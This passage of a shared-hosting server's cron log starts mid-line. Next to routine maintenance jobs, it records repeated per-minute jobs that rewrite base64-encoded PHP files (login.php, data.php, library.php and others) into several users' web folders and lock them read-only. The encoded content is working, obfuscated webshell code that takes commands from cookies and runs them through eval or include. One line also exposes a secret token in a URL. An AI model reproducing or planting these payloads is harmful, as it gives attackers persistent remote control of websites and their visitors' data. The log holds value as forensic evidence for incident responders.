X2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:33:01 medusa CROND[21531]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:34:01 medusa CROND[26711]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:34:01 medusa CROND[26931]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:34:01 medusa CROND[26932]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:34:01 medusa CROND[26933]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:34:01 medusa CROND[26934]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:34:01 medusa CROND[26935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:34:01 medusa CROND[26938]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:34:01 medusa CROND[26937]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:34:01 medusa CROND[26942]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:34:01 medusa CROND[26947]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:34:01 medusa CROND[26949]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:34:01 medusa CROND[26950]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:34:01 medusa CROND[26956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:35:01 medusa CROND[30777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:35:01 medusa CROND[30790]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:35:01 medusa CROND[30969]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:35:01 medusa CROND[31057]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:35:01 medusa CROND[31111]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:35:01 medusa CROND[31112]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 23:35:01 medusa CROND[31114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:35:01 medusa CROND[31115]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:35:01 medusa CROND[31116]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:35:01 medusa CROND[31117]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:35:01 medusa CROND[31119]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:35:01 medusa CROND[31120]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:35:01 medusa CROND[31123]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:35:01 medusa CROND[31126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:35:01 medusa CROND[31135]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:35:01 medusa CROND[31129]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:35:01 medusa CROND[31131]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 23:35:01 medusa CROND[31136]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:35:01 medusa CROND[31139]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:35:01 medusa CROND[31138]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
